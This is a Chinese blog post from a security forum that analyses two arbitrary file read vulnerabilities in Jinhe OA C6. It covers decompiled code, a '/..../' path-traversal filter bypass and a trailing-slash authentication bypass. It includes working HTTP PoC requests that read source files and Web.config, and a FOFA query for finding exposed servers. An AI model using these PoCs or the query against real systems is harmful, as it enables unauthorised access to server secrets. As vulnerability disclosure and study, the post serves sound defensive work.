问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
金和OA C6系统-JHSoft两处任意文件读取漏洞分析
渗透测试
# 漏洞简介 金和OA C6协同管理平台是以“精确管理思想”为灵魂,围绕以“企业协同四层次理论”为模型,而构建的结构化的、灵活集成的、动态响应的、面向企业运营管理的智慧协同应用管理平台。 该O...
漏洞简介 ==== 金和OA C6协同管理平台是以“精确管理思想”为灵魂,围绕以“企业协同四层次理论”为模型,而构建的结构化的、灵活集成的、动态响应的、面向企业运营管理的智慧协同应用管理平台。 该OA系统存在多处任意文件读取漏洞,配合权限验证绕过漏洞可以深入利用造成服务器敏感信息泄露。 漏洞分析 ==== JHSoft.Web.AddMenu.LoginTemplate -------------------------------- 该任意文件读取漏洞存在于JHSoft.Web.AddMenu.LoginTemplate文件的LoginTemplate类中  初始化方法`Page_Load()`中传参`path`和`pathType`,再调用DownLoad方法进行下载  对应下载方法的关键代码如下 ```php protected void DownLoad(string filePath, string pathType) { if (pathType != "1"){ filePath = base.Server.MapPath(filePath); } string s = "image" + filePath.Substring(filePath.LastIndexOf(".")); if (File.Exists(filePath)){ FileStream fileStream = File.OpenRead(filePath); byte[] array = new byte[(int)fileStream.Length]; fileStream.Read(array, 0, array.Length); fileStream.Close(); base.Response.Clear(); base.Response.ClearHeaders(); base.Response.Buffer = true; base.Response.AppendHeader("Content-Disposition", "attachment; filename=" + HttpUtility.UrlEncode(Encoding.UTF8.GetBytes(s))); base.Response.BinaryWrite(array); } else{ base.Response.Write(""); } base.Response.End(); } } ``` 这里有个简单的判断,当pathType不为1的时候获取根目录路径,之后再进行路径拼接的操作。路径拼接完之后再直接读取文件流就造成任意文件读取漏洞。 这里结合金和OA C6的权限验证绕过漏洞,参考文章https://xz.aliyun.com/news/13954 简单来说就是在对应路径后添加`/`即可正常访问对应服务,因此可以构造poc如下 ```php GET /C6/JHSoft.Web.AddMenu/LoginTemplate/DownLoadBgImage.aspx/?path=/C6/JHSoft.Web.AddMenu/LoginTemplate/DownLoadBgImage.aspx&pathType=0 HTTP/1.1 Host: ``` 读取自身`/C6/JHSoft.Web.AddMenu/LoginTemplate/DownLoadBgImage.aspx`源码内容  同理读取配置文件`Web.config`  JHSoft.Web.CustomQuery ---------------------- 首先进入到`JHSoft.Web.CustomQuery`的UploadFileDownLoadnew类中,可见初始化方法  很简单,这里判断第一个传参名称如果等于fcform就进入到Downloadfcform方法中 追踪Downloadfcform关键代码如下 ```php private void Downloadfcform() { string str = string.Empty; string empty = string.Empty; string text = string.Empty; text = base.Request["FilePath"]; str = base.Request["FileName"]; base.Response.Buffer = true; base.Response.ExpiresAbsolute = DateTime.Now.AddSeconds(-1.0); base.Response.Expires = 0; base.Response.CacheControl = "no-cache"; if (Upload.FileServerName != "") { text = Upload.MapFilePath("../resource/" + text); } else { string text2 = text.ToLower(); text2 = text2.Replace("/resource/", "/"); if (text2.Length < text.Length) { text = Upload.MapFilePath("../JHSoft.Web.Module/" + text); } else { text = base.Server.MapPath("../JHSoft.Web.Module/" + text); } } if (Upload.FindFilebyAbsoluteFilePath(text, ref text)) { byte[] file = new Upload { Decrypt = false }.GetFile(text); base.Response.Clear(); base.Response.ClearHeaders(); base.Response.Buffer = true; base.Response.ContentType = "application/octet-stream"; base.Response.AppendHeader("Content-Length", file.Length.ToString()); base.Response.AppendHeader("Content-Disposition", "attachment; filename=" + str); base.Response.BinaryWrite(file); base.Response.Flush(); base.Response.End(); } } ``` 该方法中接收传参`FilePath`和`FileName`,判断`Upload.FileServerName`如果存在(该判断一直为true,即FileServerName是存在的) ```php if (Upload.FileServerName != "") { text = Upload.MapFilePath("../resource/" + text); } ``` 存在则在FilePath之前添加../resource/目录前缀进行拼接,再调用`MapFilePath`方法映射目录  然后这里就不得不提`MapFilePath`方法对简单的目录穿越`../`存在过滤,但是也能绕过 首先`MapFilePath`方法在代码中先对`\_FilePath`做了处理 ```php \_FilePath = \_FilePath.ToLower(); ``` 获取转成小写的字符串路径 ```php \_FilePath = \_FilePath.Replace("\\\\", "//").Replace("/resource/", "/"); ``` 将路径中的所有`\\\\`替换为`//`,所有`/resource/`替换为`/`,之后的代码就是对`../`和`/`进一步处理 ```php text += \_FilePath.Replace("\\\\", "/").Replace("../", "/").Replace("/", "\\\\"); ``` 这里的绕过方法也很简单,直接双写`/..../`就能绕过过滤 传入`/..../`时首先替换`\\\\`为`/`,字符串还是`/..../`,之后替换`../`为`/`,则字符串变为`/../`,最后替换`/`为`\\\\`,字符串变为`\\\\..\\\\`。 实际上`../`并没有多次进行替换过滤,最后还是能实现目录穿越读取文件流 这里也是需要借助权限绕过漏洞,因此构造poc如下 ```php POST /C6/JHSoft.Web.CustomQuery/UploadFileDownLoadnew.aspx/?fcform=1&FilePath=\....\....\C6\JHSoft.Web.CustomQuery\UploadFileDownLoadnew.aspx&FileName=UploadFileDownLoadnew.aspx HTTP/1.1 Host: ``` 读取源码内容  总结 == 金和OA C6系统的权限验证绕过漏洞衍生出了许多较为严重的漏洞,但其中也存在不需要权限验证就能利用的同类型漏洞,总之该OA系统开发时代码不规范,导致历史版本中存在诸多漏洞可被利用。 资产测绘 ==== FOFA语法 ```php app="金和网络-金和OA" ```  漏洞复现 ==== POC如下 ```php GET /C6/JHSoft.Web.AddMenu/LoginTemplate/DownLoadBgImage.aspx/?path=/C6/JHSoft.Web.AddMenu/LoginTemplate/DownLoadBgImage.aspx&pathType=0 HTTP/1.1 Host: ```  ```php POST /C6/JHSoft.Web.CustomQuery/UploadFileDownLoadnew.aspx/?fcform=1&FilePath=\....\....\C6\JHSoft.Web.CustomQuery\UploadFileDownLoadnew.aspx&FileName=UploadFileDownLoadnew.aspx HTTP/1.1 Host: ```  漏洞修复建议 ====== 升级金和OA C6到最新版本,修改用于检查全局的AcquireRequestState的EndsWith方法,避免出现未授权访问;并对文件上传后缀进行白名单限制。
发表于 2025-02-24 09:00:02
阅读 ( 1109 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
chobits
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!